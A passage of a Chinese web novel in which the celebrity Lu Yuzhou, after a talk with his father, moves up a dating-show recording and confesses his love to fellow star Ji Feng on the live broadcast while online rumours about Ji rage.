“算了,”陆屿洲从小陆程易见得就少,也没有任何可供谈起的情感精力,不是很习惯聊起这个,“算了,没什么。” “没关系,跟爸爸说说呗,”陆屿洲道,“你十八岁那年当着我跟你妈的面出柜,结果在模特圈里待了几年也没找个,我俩都以为你这辈子不会谈恋爱了。” “既然喜欢怎么不去表白,你不是那种轻率的孩子,看样子应该动心很久了?” “我只是……” 陆屿洲停顿得有些久,直到摸到腕骨上的手表。 直到离开了季沨,他才明白,这个世界上,其实并不是永远都有机会将想说的话说完的。 “我只是,”陆屿洲想了想,终于道:“你还记得你跟我妈离婚的时候跟我说过什么吗?” “什么?” “你说婚姻意味着责任和束缚,恋爱是对双方自由的侵占。” “我一直觉得跟他维持现状就很好了,”陆屿洲声音很轻,“我不敢进一步,也不敢挑破关系。” 直到现在,反反复复地思考曾经错失的一切,陆屿洲才终于可以面对当初的怯弱:“越是亲密我就越是忐忑,越是靠近我就越想逃离。” “或许我潜意识里觉得自己不具备经营好一段亲密关系的能力。” “觉得当一个人试图入侵另一个人的生活的时候,就是他们破裂和分开的开始。” “你,你这……”陆程易嘴唇抖了抖,半晌都没有说出来话。 跟杰西卡算是好聚好散和平离婚,两人不管在感情和财产都没有任何亏欠,对陆屿洲的抚养……即便是不常回家,也给了他最好的教育和资源不是吗? 更何况,他每次回家还会给他带礼物和标本。 这是第一次,陆程易突然隐隐觉得,他们可能有些对不起这个孩子。 “我,我不知道你会这么想。”属于一个父亲的愧疚让陆程易的语气瞬间便低了下来,“很抱歉,我们没能给你一个好的情感教育。” 他搓了搓脸,终于开口道:“但是小洲,你要知道,我跟你妈妈,其实是很失败的样本。” “我这么多年一直没遇到什么喜欢的人,你妈妈反反复复地结婚,我们都没有遇到世俗意义上的爱情,也没有任何一段稳固甜蜜的关系,这足以证明我们的想法是错的。” 陆程易直到这个时候才体会到一个父亲的责任,几乎是用尽自己所有的知识,语重心长:“我也是这些年才明白,其实这个世界上,每一对关系都是不一样的。” “说什么责任和束缚,但是这个世界上还有协议结婚和玩字母游戏的,对吧?” “不只是恋人,我们的每一个朋友,亲人,每一段关系都是独特的。你只需要跟着你自己的想法走就好。” “你从小就是很优秀的孩子,只是我跟你妈妈陪你太少了,才让你靠近一点就这么恐惧,但是我还是希望,”陆程易道,“你不要用我们的错误去限制你自己。” “下次我回去的时候,可以带我见见那孩子吗?” 陆屿洲指骨握紧了手边的流苏,他从来没听过陆程易说过这些,好像是父亲隔了许多年迟来的关怀,呼吸一滞:“好,我……” “对了,”陆程易打断他,诚恳发问,“他喜欢多鳞阿诺蜥吗?我们刚刚抓到了一只,我可以送给他当宠物。” “还有,你们结婚的时候送你们一块化石行吗?听说是亿万年前留下来的动物骨骼,你知道它有多珍贵吗……居然还是心形的耶!” 果然…… 陆屿洲啪得挂断了电话。 靠在窗边回忆了一会儿陆程易说过的话,领带在指尖绕了个圈,不知是怎么的,突然想起那天在山下跟人打架,被季沨揪着领子让他以后安分点,万一遇到惹不起的人怎么办。 当时陆屿洲说,那我就去找我爸。 现在果然是要找爸爸了。 也不知道季沨知道了之后会不会嘲笑他。 应该不会吧,季沨对他一向挺温柔的,陆屿洲几乎是可以想象出他的声音:“怎么跟个小朋友一样啊,陆老师?” 连尾音也是带着笑的。 季沨跟他说过的每一句话他都记得,他说那些算话,陆屿洲便等着。 只是不知道……那句算话说的是,他以后不做明星了就去找个海边的小城,还是…… “下期见。” 下期见。 领带在指尖绕了一个结。 陆屿洲恍然大悟——下期见?! 恋综一个月录一期,但是…… 但是,为什么非要一个月录一个期呢? 明明只是录播又不是正式播出,娱乐圈这两天因为季沨的事人人自危,工作已经停了很多了。 所以,所以,即便是提前一点也没有什么关系的吧? 陆屿洲总是礼貌绅士,若是以前他不会做这么不守时的事,但是,但是只要想起这个念头,就真的一秒钟也等不下去了! 想要见到季沨,哪怕是打乱计划入侵生活束缚责任。 也要见到他。 电话滑到最后一排,那是和当初陆屿洲第一次让季沨来恋综一模一样的称呼,原来是他当时就在试图占有,只是他还不知道。 陆屿洲接起电话—— “喂,宋叔。” * “真厉害啊老板,高度酒都能拿错两次,真不怕被人发现啊。” “相逢”live里,隋易看着在吧台调酒的季沨,尽管外面已经沸沸扬扬,这人握着吧勺的手依然稳得能去卖艺,低垂的眉眼上看不出分毫波澜。 隋易忍不住晃晃手中的酒瓶,想起他昨天递出去的那杯晚安酒,“你说那位是真傻还是假傻啊,居然这都还没发现。” “他不傻。” 季沨第一千零一次跟人解释,随后道:“高度酒睡得香。” 起码能强制性能好好休息一会儿。 “行吧,”隋易一边刷手机一边给季沨读评论,“营销、爬床、耍大牌、轧戏、辱骂选手……盘点二字顶流还做过什么?” “这上面就差写你杀人放火了,”隋易道,“你真不在乎啊老板?” “习惯了。” 季沨笑了笑:“哪个流量没被骂过几句,你这算什么,没有净网之前,骂我做鸭双插头的都有。” “有人讨论才有热度,流量不都是这么起来的吗,”季沨一只手擦着酒杯,表情淡淡的,“让你准备的东西怎么样了?” “放心吧,我这个哥们就是专门做新闻的,绝对靠谱。” 隋易说:“前面的一开始,我就让他跟上。” “事情闹这么大,你马上可是真国民级了,这次要是成功了,”隋易说,“我们是不是要找个大点的工作室?” 季沨对他幻想的愿景不置可否,但是他出牌的时候总是会先想最坏的结局:“说不定失败了,我就得身无分文还债呢?” “那我就继续在这里驻唱了,”隋易抱起自己的吉他,“反正是你把我们签回来的。” 季沨笑笑没说话,手机突然叮咚一声。 上一个手机关机,这个号码季沨是季沨没出道之前用的了,几乎没给过其他人。 打开一看,才发现是阮嘉: “哥,节目组让我告诉你,恋综调期了,让你早点做准备。” “调期,”季沨微一皱眉,宋骁在圈里也算是守时的,怎么会突然调期,“什么时候?” “……明天。” 就算是临时改期也没有改这么早的,今天晚上通知明天录节目,就像是有谁迫不及待要见面一样,季沨说:“这么急,那就没有一点回旋的余地?” “我也问了,他们说没有,还说短信已经发给你了,让你自己看。” 季沨这才重新将原来的手机开机,从密密麻麻的短信和问候中翻出节目组发来邀约短信。 前面的都很官方,是一贯的严肃气氛,唯有最后一句,像是某个年纪小的实习生加上去的—— 【我们节目组的所有人员(以下排名不分先后):导演、副导演、摄像、灯光、场控……和嘉宾江沼,嘉宾初禾,嘉宾何皎皎……嘉宾,】人名数到最后一个,好似不小心打错了一样标点一样在这里断了个句,随后才继续道,【陆屿洲非常非常非常想你!!!】 这人一连打了三个感叹号,才继续一句一句往下发: 【祝愿季老师天天开心,万事顺遂。】 【好好休息。】 【晚安(★>U<★),明天见。】 第49章 第四十九章 当天上午, 就在热度到达最顶峰的时候,某个狗仔突然爆出一条视频,说是疑似季沨《天欲雪》试戏片段流出。 画面中的季沨穿一身靛青色长衫, 雪白狐裘围了半张下巴,长身玉立站在窗边, 那外面明明什么都没有,可是他却仿佛被冬日的寒风吹到, 眉心微蹙, 按着心口轻轻地咳了一声。 旋即又望着窗外的天色, 伸出手,细瘦的手腕落进那片纷飞的大雪里, 好似隔着一扇窗触碰枝上的寒梅, 他长睫低垂, 目光好似哀叹:“又是一年大雪了。” 这种文弱的清冷病公子和季沨平常张扬浪荡的样子丝毫不同,甚至都不能说是占了人设的便宜。 更遑论博主还配了一段文字:“听说当初季沨其实是自己过的试戏,怎么两年前的演技比现在好,你们觉得呢?” 视频发出来, #季沨演技#词条再一次登上热搜。 压抑已久的风滚草们像是终于找到了可以冲锋的途径, 博主下方的评论区瞬间被季沨积蓄的粉丝们占领,连广场都一起给屠了。 当然,其中不乏有些试图辩驳的, 毕竟是之前已经跟风骂出去了,承认季沨演技好岂不是在打自己的脸: “一个片段能代表什么啊, 能搭上资方试戏片段肯定是早就商量好的, 说不定是故意找了老师教完摆拍的呢。” “就是, 这演技也算不上怎么好吧,第三分五十八秒的时候, 他的眼睛是不是多眨了一下,生病的人怎么能这么高频率的眨眼呢?” “粉丝别吹了!我是艺考班的,我老师说了,季沨的这个人设既然是神医,那么他进门的时候就是会下意识地关注一个的面色和神态,但是他居然先看了地,细节明显就不对!” …… 博主的评论一发出去,立刻就有其他风滚草们闻风而动,从理论专业到双方祖宗各个方面各个角度进行了对线,虽然战况只能勉强算是五五分,但是#季沨演技#这四个字,却彻彻底底地热搜上扎了根。 各路大V,专业学者纷纷下场,以季沨为标本,进行了一场关于表演神态与身体语言的全面分析,出乎预料的是,对于一部分持中立意见的专业人士来说,只看季沨这一场表演,呈现的状态居然还不错。 但是一场戏并不是这一个镜头,为了反驳他们,黑子们立刻将那段著名的假哭戏找了出来试图打脸,结果就被一个国家一级演员转发,一眼断定——动作、神态、光线都连接不上,这个画面一定经历过破坏性的剪辑! 而且,这个剪掉的部分,很大可能是高光戏! 可如果真如之间的黑料所说,一个能跟资方睡觉将自己硬塞进剧组的关系户,给他加戏还来不及,谁会敢剪掉他的出彩片段? “笑死,小黑子自己出来掘坟结果把自己挖进去了吧,看清楚上面说的什么了吗,这根本不是加戏而是删戏!!有人删了我们风风的戏!!!” “早说了我们风风根本不是这样的人!他当初刚出道的时候被人拉去陪酒都能微博发文开麦,要是想要走捷径不是早就走了!” “一个真正的想要走捷径的人不会被删戏,一个真正的演员不需要通过别的方式来证明自己,季沨出道以来始终坚守偶像本分,正确引导粉丝,积极磨炼专业能力,抵制恶性竞争!抵制随意抹黑!共建良好娱乐环境!” “我劝粉丝不要太早跳脚,小心等会儿石头砸下来把自己摔死。” “就是,不过是一个退休老演员的一面之词罢了,他自己最近都查无此人,说不定只是想蹭个热度,也就是你们粉丝可怜孤寡老人啦。” “删戏的事情你们有什么证据吗?但是房间可是季沨自己走进去的吧,足足待了两个小时才出来,季沨要是能怀,现在孩子都生了吧?” “哎你怎么知道他没有,旱路都走了,前面能没有什么通道吗?” …… 黑子和粉丝在广场吵得不可开交,可就在这时,一个千万粉的大V突然发布预告,说是手中有近期最火的某二字顶流超绝大瓜,劲爆程度会颠翻所有人的认知,将在明日晚上爆出。 别说是近期最火这个限定词,这个时候提二字顶流,众人都能自己对号入座。 更何况,这个博主之所以有这么多粉,便是因为他从来不爆假瓜。 此言一出,一石激起千层浪。 * “小洲,都安排好了。” 垂眸看了眼短信,陆屿洲这才合上手机,重新望向面前的服装。 设计师的本子已经又记了密密麻麻的一页,看见他抬头心中就一个咯噔:“陆,陆老师,你还有什么想法吗?” “这种金属袖口不太行,换成贝母的试试看。” “这里的珍珠换掉,全都打成流苏亮片,做成模拟瀑布和水流的样子。” …… 陆屿洲边说边往前走,脚步前移,终于望向了正中央的那一件。 比起后面的服装,这一件足足占据了中央的整个圆心,光在规格上就显示出无与伦比的重视程度,衣服上装饰的反射几乎要亮瞎人的眼睛。 更何况,这件的设计从画稿设计到每一颗纽扣,都是陆屿洲亲自盯着的。 前两天设计师在电话里确认的服装终于见到了真容,陆屿洲几乎能想到那人穿上它的样子,手指在上面比了比:“这里,腰上的系带换成玉石,” 陆屿洲想起前两天从粉丝那里要出来的骑马装:“做成古时蹀躞的样子,只是不用那么宽,他腰很细,用细线穿起就行。” 他? 难道这件衣服还能在设计就预想了模特。 “好的陆老师,”设计师点点头,“还有其他的吗?” “这里,领针上的宝石,颜色不够纯粹,我要是那种矢车菊那样秋日湖泊般澄澈的蓝,你这个里面有杂色。” 还什么澄澈的蓝,你怎么不说是五彩斑斓的黑呢?更何况一颗矢车菊无烧蓝宝石要多少钱,他们工作室哪有这个预算,这只是一件衣服,磕了碰了坏了丢了都有可能,谁敢往上面放那么贵的东西。 设计师刚要开口,岂料陆屿洲淡淡道:“我爸之前拍下过几颗,回头我让人拿给你。” “好的陆老师,”这他还能说什么,该死的有钱人,设计师满面春风,“您看还有什么需要的吗?” “这里,领口的位置还需要再收窄一点,”陆屿洲拿手比划了一下,“他锁骨的位置……大概是在这个地方。” 好家伙连锁骨的位置都知道,这到底是给谁定制的啊? 设计师看着陆屿洲将这件设计从腰身的毫米数精确到领子上应该绣云纹的边缘是不是少勾了一圈金线,整个人本子都快要记满:“嗯嗯嗯,我们回头给您反馈方案,陆老师您看还要加些什么吗?” 陆屿洲手指从看过的领口轻轻拂过:“这里,好像还缺了点什么。” “缺什么?” 陆屿洲微微皱起眉,其实他也不知道为什么会有这个想法,只是下意识觉得胸口的地方应该有东西:“一套首饰。” 好像是有什么一闪而过,在灯光昏暗的喧嚣里,陆屿洲轻声道:“项链,还有……耳饰。” “蓝色的。” “蓝色很好,跟您的矢车菊很配,”设计师频频点头,“我们要再对一下设计稿吗?” “不用,”谁知陆屿洲突然摇了摇头,“我自己做吧。” 什么? 自己做? 婚礼也就是这个规格了吧。 这位俊美中带着一丝蛊惑,妖艳中带着两抹清纯,浪荡中带着三分肆意的“人”到底是什么来头,设计师正要开口,便看到陆屿洲伸手看了眼腕表:“好了,就这些。” “我也该去节目组了。”不知为何,设计师总觉得陆屿洲说起这句话的时候,神情看起来莫名的高兴,甚至回过头来看了他一眼,“你还有什么不理解的吗?” “啊没有了,”设计师跟着陆屿洲的视线望向手腕,下意识夸了一句。“您这款表挺不错的。” “谢谢。”陆屿洲轻轻地笑了下。 合作小半年,这位最难搞的甲方居然在自己面前笑了,连带着永远清冷的眼神都温柔起来,随后用设计师生平听过最悦耳的声音道:“你们这段时间也辛苦了,过几天给大家发一下季度奖金吧。” 设计师深吸一口气,差点没直接跳起来。 “对了,”陆屿洲晃晃手腕,“这是我喜欢的人送的。” 设计师第一次见到这人身上出现与年龄相符的青涩腼腆,好像是个初次约会的高中生:“我今天要去跟他表白了。” 陆屿洲说完出了门,最后打电话确认一切的安排,开着车前往拍摄地点,生平第一次没有因为自己的决定打扰到别人而抱歉。 脑海中只想到了一个人。 “节目组那边通知了吗?” “通知了陆老师。”明文道。 “都通知了吗?” “都通知了。” “短信也发了吗?” “发了。”明文说完立刻意识到陆屿洲是想问什么,“季老师那个是单独发的,他还没有回复。” 怕陆屿洲因此着急,明文立刻补充道:“不过我让节目组通知阮嘉了,他应该能看到的。” “其他几位老师倒是都同意的很快。”明文说,“大家都等着见季老师呢。” 谁都知道季沨现在正在风口浪尖,公司解约,剧组暂时进不去,其他节目也不敢请他,如果他真的需要一个发声的渠道——这个直播是难得的机会。 再加上这几天因为季沨的事人人自危 ,几人本来也没有多少工作,因此陆屿洲提出拍摄提前,二话不说就都同意了。 初禾甚至早早就到了,担心如果季沨先到,需要有一个帮他搭话的。 节目里一群人除了商序看起来都不怎么聪明的样子,还不是得他过来。 显然……陆屿洲也是这么想的。 早到的陆屿洲和早到的初禾面面相觑,在喝完了整整一壶水之后,才终于等到姗姗来迟的其他人。 大门一被推响,陆屿洲立刻站起了身,眼底的光几乎要溢出来。 抬眸看到江沼,立刻又失落地坐了回去。 连那点光芒也消失得干干净净了。 叮咚、叮咚、叮咚! 陆屿洲不停地抬眼望,重复期待和失落的动作,好像是一只趴在庭院里聆听主人脚步声的小狗,每遇到一次来人就要摇一次尾巴。 所有人都知道陆屿洲这两天为了季沨所做的努力,所有人都知道他在等什么,但是一直到约定了时间,最后一位宋晚都进了门,季沨还是没有过来。 【怎么回事,季沨呢?】 【救命不会不来了吧,天杀的老子守着这个节目就是为了看季沨,到底能不能行了,我要吃瓜,谁给我口瓜吃吃吃嚼嚼嚼!!!】 【笑死,姐妹们别蹲了,说不定是心虚了呢,我就说这个演技视频就是个噱头吧,有本事自己来节目上亮亮啊?】 【不了解季沨,是为了磕CP才追的这个恋综,有一说一季沨在这个上面的表现其实很好啊,起码跟陆屿洲一起的时候两个人演技都超级好很有磕点的! !】 【CP粉装什么路人,那是陆屿洲自己演技好吧,你看看人家多入戏,季沨还没来他就一直眼巴巴望着门口,就等着季沨进来好发糖吧。】 【季沨现在都这样了他还坚持职业道德,好敬业啊陆屿洲。】 咔哒,门锁被轻轻推开了。 陆屿洲几乎瞬间站起了身,琥珀色的眼睛好像马上像是星星一般亮起来:“季……” “你们好。” 不是季沨。 来人是拿着台本的潘叙。 虽然还剩了一位压轴的没有来,但是作为节目的编导,到了时间他就还是要出来串场,这是他的责任。 没有哪个节目离了谁就办不下去,也没有哪个圈子里离了谁就会解散,这就是娱乐圈。 “Surprise!大家!见到我惊不惊喜!” 潘叙故意这么说,毫不意外地没有在众人面前看到任何惊喜的神情:“上一期的主题是‘生活’,那你们猜猜这一期的是什么,”潘叙说着晃晃手中的卡片,“这次可是有很有挑战性的表演任务哦~” 何皎皎和初禾配合地猜了两句,旁边的陆屿洲却连听都没有听,只是神思恍惚地握着手中的杯子,眼底的光亮一点点地暗下去。 季沨没有来。 他没有过来。 季沨跟他说了下期见,但是他没有过来。 不是说好了,说话算话的吗? 既然“下期见”不算,那什么才算话呢? 是要……退出圈子,去海边的小城吗? 但是好歹,好歹……要跟他说一声吧。 想说的话还没有说出去,想给季沨的看到的东西还没有看到,想送的礼物还没有递到他的手上。 城市这么多,他要从哪里开始找起呢? 陆屿洲指骨泛白,周围的声音都像是潮水一样漂浮,让他感觉要挤压和窒息,明明有能力上岸,却任由只能无力地跌落下去。 旁边的江沼目光担忧,陆屿洲这两天为了季沨做了多少他是看得到的。 季沨这种人看着就是哪怕不混圈了也能过得很好的那一种,就算以后不在这个圈子里了,他去买个菜钓个鱼开个店挂到树上变成猴子创飞拿香蕉的路人,应该也会挺不错的。 旁边指骨发出嘎吱的响声,江沼尤记得上一次听到这个声音的时候陆屿洲手中的杯子发生了什么,于是赶紧拍拍他的手,安慰道:“别担心,大概不会变成猴子的。” 陆屿洲琥珀色的眼睛冷冷地看了他一眼。 “我们这一期的主题是——” “重逢!!!” 没有人应答,潘叙便自己提高声量活跃气氛:“重逢可是一个很难演绎的场景。” “为了提高难度,宋老师说了,这期我们将不再采用之前热恋情侣模式,而是重新设定身份。” “你们现在每个人都是分手后分别五年又相见的情侣,当初的爱人成了现在的陌生人,但是你们家曾经又是如此的熟稔,你想要靠近却又后退,又或者,因为当时的争执而感到后悔……” “重逢时的状态和剧情,由你们自己进行,但既然是已经分手,现在麻烦各位CP先坐得分散一点,我们马上要公布第一个任务……” “那就是——” 咔哒,门锁再一次打开。 仿佛心有灵虚般的,即便是在潘叙如此大声地声情并茂地讲述下,陆屿洲还是唰的抬起了头。 “不好意思,我来晚了。” 季沨站在门口。 时隔半个多月,他终于又一次见到季沨站在门口。 那人盈盈笑着,目光温柔沉静,好像之前每一次推开酒店的门,好像是拍戏之后回到插满花的家中。 好像这些天的流言蜚语一点也溅不到他身上,好像他并不知道这些天陆屿洲的心中是如何掀起惊涛骇浪。 好像他们不过是一场普通的重逢。 “离别五年再见,你要对昔日的恋人说什么,”潘叙补完了下半句,下面让我们先—— “我喜欢你!” 潘叙的话还没说完,沙发上的陆屿洲猛地站起身。 杯子因此被撞翻,水洒了一整个桌面,但那依然不及他心中狂热跳动着的,几乎要满溢的心脏—— “季沨!” 季沨睁大眼睛,看着陆屿洲抓住他的肩膀,手指颤抖,目光热烈,好似再也等不到下一刻: “我想清楚了,季沨。” “我喜欢你。” 第50章 第五十章 直播间浩浩荡荡围了两波兵马, 结果万万没想到,有备而来的黑粉和跃跃欲试的唯粉还没来得及开战,倒是CP粉先炸了—— 【啊啊啊啊啊啊啊卧槽卧槽这是表白吗?!】 【我就知道!!我就知道我们记录一直都是最甜的!!!陆屿洲妈妈果然没有看错你, 给老子冲冲冲!!!】 【楼下不要给我刷真还是假了,老子是不会听的, 我都磕CP了你让让我怎么了!】 【同意!CP行为请勿上升正主!CP行为请勿上升正主!我宣布今天就是我们记录的订婚日速速给我送入洞房!!!】 不只是观众,连沙发上坐着的几位和节目组都一起愣住了。 摄像战战兢兢地按在开机键上, 反复思考是不是该在这个时候切断直播。 最终还是潘叙经验丰富反应老道, 季沨还没来得及回复, 潘叙便抢先拍掌道:“好好好,瞧瞧我们陆老师, 这才是真正的演员啊, 不仅有台词, 居然连剧情都铺垫好了。” 这话的意思,明显是将陆屿洲刚刚的话当成台词的一部分。 季沨反应迅速,几乎在瞬间就懂了潘叙话里的意思,跟着转头望了陆屿洲一眼, 随即垂下眼睫, 压低声音,似怨似叹:“都过了那么久了,你现在说这话还有什么意思。” 他推开陆屿洲的胳膊, 像是不忍心再望这个昔日的恋人一眼:“我已经不想听了。” 【妈耶妈耶!!!季沨这入戏也太快了!】 【都说了这是剧本吧,你看季沨的反应, 肯定是连晚到都表白都是一早准备好的!】 【新来的, 不过季沨这演技看起来确实也还可以啊, 起码我觉得刚刚那个四分遗憾三分怀念两分哀怨真的好生动的!】 陆屿洲讶异地睁大眼睛,看着季沨那漂亮的眸子里带着四分遗憾三分怀念两分哀怨。 他不清楚季沨说的是真的还是只把刚刚的表白只当作是节目组任务中的一环。 陆屿洲气死了急死了, 所有人都当他是演戏,但偏偏他是真的! 季沨一动身,陆屿洲立刻亦步亦趋地跟着他走,像只焦急地咬着主人裤脚的小狗:“真的晚了吗?” 季沨不说话,陆屿洲赶紧伸手去拉他,声音都要快要变成夹子:“季沨,季沨……我刚刚不是……” “哎哎哎陆老师,”潘叙一把将他扯了回来,“陆老师,已经分手了就不要对人家拉拉扯扯的。” “你这样在外面会被判骚扰的你知不知道?” 陆屿洲伸到一半的手被打断,刚刚还小狗一样的样子瞬间变成了凶狼,回过头恶狠狠地看了他一眼。 “我们今天的人设是——” 潘叙顶着那天爆掉的杯子的压力又读了一遍剧本:“分手后又重逢的前任恋人。” 他说着轻咳一声,意有所指:“就算是某些人旧情未了急着复合,也要遵守规定。” “第一,不得在镜头前有任何肢体接触。” “第二,”季沨刚一落座,潘叙便将要跟他到他身边的陆屿洲给拉了回来,“前任CP之间不得挨着坐。” “陆老师,”潘叙一指旁边跟季沨隔了人山人海的位置,“您的座位在这边。” 如果人类骨骼再脆弱的一点的话……潘叙心想,陆屿洲那一刻的眼神,大概是让把他和手中的杯子一起捏个粉碎。 陆屿洲压根不动:“我不……” “潘导说得有道理,”季沨靠在椅背上,悠悠开口,“之前在一起的时候你也没有送过我上下班,出去吃饭也没有坐一起,连去个典礼都要避嫌,现在都分开又靠过来干什么?” 季沨招招手:“小禾,你过来坐这里。” 初禾眉眼一挑,立刻幸灾乐祸地抢了陆屿洲的位置坐下了。 座位重新排了一圈,陆屿洲不能坐到旁边也不愿隔着一个人坐到侧面,只好愤愤地抢了对面的位置。 他拿不准季沨的意思,是不是真的因为之前的事情对他失落失望了,一双眼睛紧紧地盯着季沨。 季沨腰身刚刚一动,立刻跑去给他拿了个抱枕,季沨只微微咳了一声,便去旁边的吧台给他冲了杯茶过来:“加了一点蜂蜜的茉莉花茶,你尝尝看?” 季沨喝茶不喜欢苦味,总是会习惯性地往里面偷偷加蜂蜜,这是他三年前跟团队一起默契度挑战的时候说的。 这种古早采访除了骨灰粉没人会知道,更何况现在热搜上挂的全是季沨的黑料。 季沨并没有默契地佯装不知,而是直接挑破了:“你看了我之前的采访?” “嗯,”陆屿洲没想到季沨会突然问他这话,当即抬起头,“看过,你之前的我都补了一遍。” “你在采访里说过的,不喜欢喝绿茶,喜欢花茶加一小勺蜂蜜,不过不能多喝,因为有时候控制体重会发胖,喝咖啡要加奶喝方糖,喜欢的水果是荔枝,不过仅限于夏天,冬天就会变成草莓。” “颜色喜欢亮色系,特别是这样的首饰,一直想打第二个耳洞却没有打第二个耳洞因为小时候就很怕打针……” 陆屿洲絮絮着这些天记下来的一切,好像要将自己密密麻麻写满另一个人的心脏都给剖出来,又将从早早洗好的荔枝推到季沨旁边,想尽办法向他证明:“季沨,我刚刚是认真的。” 【啊啊啊啊什么认真的,刚刚的表白吗卧槽?】 【妈呀妈呀!陆屿洲刚刚说得居然真的对上了!如果是背台词这人背得也太好了吧!】 【风滚草一只,风风想打耳洞这件事我都不知道,陆屿洲从哪里知道的?】 【四五年前的队内访谈了,当时那个综艺扑得要死一共也没几个人看吧,不管这个台词是谁写这得是真的下了苦功夫吧,连我们粉丝都好多不知道的呢。】 【救命救命而且陆屿洲说起来还这么深情啊啊啊啊啊我真的要死了,对不起大家我放弃瓜一秒先吃口糖吧!】 陆屿洲琥珀色的眼睛澄澈真挚,任何人看到都没有办法不动容。 季沨一只手摇晃着杯子,另一只手托着脸颊,像一个姿态娴熟的老道猎人:“都分手了……还偷偷看这些?” 陆屿洲立刻皱起眉,像是之前反驳潘叙一样不满道:“我们没有分手过。” 难怪季沨总喜欢调戏他,这一碰就炸毛的样子确实好玩,江沼的目光在他们两个中间一转,看着陆屿洲这委屈巴巴的样子,忍不住添油加醋道:“你自己不承认也没有用啊陆老师。” “这分手又不是离婚,一个人单方面也是可以做到的。” “再说了,上期季沨说要回去找你,不是你自己把人赶回去的吗,要不我说这迟来的深情比草贱呢,感情这种事啊,错过了就是永远错过了。” 陆屿洲本来就忐忑,江沼每说一句眼底的光就黯淡一点,到最后脑袋已经快要埋到杯子里了,紧张兮兮地看着季沨:“真的吗?” 江沼觉得季沨这两天心情肯定不好影响发挥,难得大发慈悲地替他讲了话:“你刚刚不是都听见了吗,人家自己都说已经晚了。” 他说完,正要跟季沨说免礼不用谢,桌下的脚猛地被人狠狠地踩了一下:“我靠……” “靠着还挺舒服的。” 江沼感觉到一阵锥心的疼痛从自己脚背传来,一抬眼睛,果然看到季沨阴沉的脸。 陆屿洲他自己逗逗也就算了,给别人欺负算怎么回事。 更何况小朋友刚刚学会表白,要是给江沼吓回去了,他保证把他这只脚一起给废了。 江沼眼睁睁看着刚刚对着他还一副要动手的样子,不过是转了个头,便撩了下耳边的长发,抿了口茶,用一种江沼觉得要腻死的微笑和夹掉头的声音道:“不过这个茶倒是挺好喝的。” 陆屿洲唰地一下抬起头来,连眼睛都重新变亮了:“真的吗?” “嗯。”季沨点头,像是在说茶,却又像在谈别的,“辛苦啦。” 他的语气淡淡的,陆屿洲正要开口,自己曲起的膝盖突然被人碰了下。 季沨似乎也想到自己收回的脚会碰到陆屿洲,漂亮眸子瞬间睁大了。 虽然只一瞬,但还是被陆屿洲飞快地捕捉到了。 潘叙是说了不能在镜头中有任何肢体接触,但是镜头看不到的地方,总归没有人管了吧? 碰到的膝盖正要收回去,陆屿洲眼神一亮,立刻用小腿压着季沨的腿弯,西装裤贴着季沨的薄薄的牛仔长裤,轻轻地磨了下:“我以后都会看的。” “能不能不算晚,季老师?” 季沨没说话,只是淡淡地抿了口蜂蜜茶,饱满的嘴唇变得湿漉漉的,张开的时候露出艳红的唇缝,似乎是这种在镜头前的暧昧有些羞耻,眼眸微垂,试图将自己的腿给抽出来。 只是因为桌布下看不到,总是有些不得章法,连续抽了几次都没有成功,反倒更像是用自己的小腿贴着陆屿洲暧昧磨蹭。 陆屿洲盯着季沨抿起的嘴唇,他现在心境不同,只是这么一点触碰便让他如同碰到火星的稻草人一样,肺腑都要跟着一起燃烧起来。 刚刚颓丧全不见了,跟季沨的触碰好像是治愈一切的良药,陆屿洲伸出另一条腿,无所遁形地将季沨圈起来,动作收得那样紧,语气却仿佛哀求一样软: “不算晚吧,季老师?” 季沨轻咳了一声,他身体本来就敏.感,眼眸很快带上水色,但越是这样越让陆屿洲觉得心跳过快,胸腔颤动,像只渴望火焰的飞蛾一样,脚踝几乎压在季沨的腿根: “好不好,季老师?” 50-60 第51章 第五十一章 “咳咳咳, ”潘叙看着旁若无人调情的二位,忍不住清了清嗓子,“下面让我们进入今天的第一个任务环节——” “真心话大冒险。” 陆屿洲又一次问话被打断, 如果潘叙真是他手中的杯子话,现在已经被捏得连渣渣都不剩了。 潘旭额头冷汗直冒, 陆屿洲快要杀人的目光道:“前任相逢,自然有很多话要借着酒桌表达, 我们今天就给予你们这个机会, 真心话和大冒险的题目都可以由你们自己决定。” 这个游戏虽然烂俗, 但是确实很好用,尤其是在需要编故事的前任局上。 桌上很快摆满了一圈零食水果, 连带着用来大冒险的酒瓶。 “哇哦, ”何皎皎年龄最小, 被首先委以转瓶子的重任,“那我可就开始了!” 酒瓶哗地转了一圈,晃悠悠指向了商序。 “哇哇哇!居然是商哥!” “今天可是好不容易能听到商哥爆料,快说, 选真心话还是大冒险?” “我的话, ”商序一摊手,姿态很老练,“随意啊, 你们想让做什么那就做什么。” “这么大方吗?”何皎皎道,“找个人接吻也可以吗?” “可以是可以, ”商序说着看了眼旁边站着的潘叙, “不过潘导不是刚刚说了不让肢体接触吗?” 潘叙立刻配合得严肃点点头。 何皎皎晃晃手中的牌, 不依不饶:“哎呀,隔着扑克牌也可以算没有肢体接触啊。” “不然往面包上放芥末酱, 然后吃下去吧。” 叶辞归接过话:“我记得某人之前最喜欢吃芥末了,不知道现在改了没有。” “是最讨厌芥末才对吧,小辞,”商序看了他一眼,“我替你在想着面子不碰你,你倒是会折腾我。” “我们很熟吗商先生,”叶辞归看他一眼,是冷淡的入戏神情,“不是就已经分手了吗?” 他们两个可以说是除了记录配合最默契的,比起总是兵行险招让人忽上忽下的记录CP,这对一直发挥稳定。 商序无奈地摇摇头,目光中满是宠溺,拿起挤满了芥末酱的面包吃了一口。 他果然是不喜欢,向来不动如山的脸直接当成崩了,眉眼都挤成一团,弹幕火速截图表情包,何皎皎抓起拍立得咔嚓咔嚓拍个不停:“快快快商哥,说一下现在什么感受?” 商序盯着拍立得吐出自己的表情包,一边吸气一边道:“皎皎,我觉得我还是比较怀念当初刚来的第一天,大家一起吃着季沨做的饭,彼此之间还有些青涩的时候。” 商序不愧是影帝,话题很自然地转到了季沨身上,何皎皎年纪小却很机灵,立刻接了上去:“就算是师兄人好那也不能只让他一个人做饭啊,我这次特意跟我妈学了泡面呢,”何皎皎一眨眼睛,“等我让你尝尝我的手艺啊师兄。” “泡面这玩意儿这还用学吗?”江沼不屑,“这不是有手就行。” “是吗?你这么厉害你怎么不去做饭啊。” “行吧,”江沼说,“我承认即便是我这么英俊的人也有不擅长的事情好了吧,这一点我确实不如季老师。” 他说完,又感叹了一句:“哦,还有一点。” 初禾立刻接过话:“是终于发现你的颜值还不如季哥了吗?” 